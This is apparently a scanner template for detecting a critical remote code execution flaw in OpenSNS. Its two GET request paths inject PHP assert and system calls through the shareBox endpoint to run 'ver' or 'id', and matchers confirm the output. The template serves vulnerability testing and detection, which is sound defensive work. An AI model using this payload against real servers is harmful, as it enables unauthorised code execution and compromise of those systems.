id: opensns-rce info: name: OpenSNS - Remote Code Execution author: gy741 severity: critical description: | OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-77 tags: opensns,rce requests: - method: GET path: - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)' - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)' matchers-condition: and matchers: - type: regex part: body regex: - "((u|g)id=)" - "Microsoft Windows" condition: or - type: word words: - "/Application/" - type: status status: - 200 # Enhanced by mp on 2022/05/30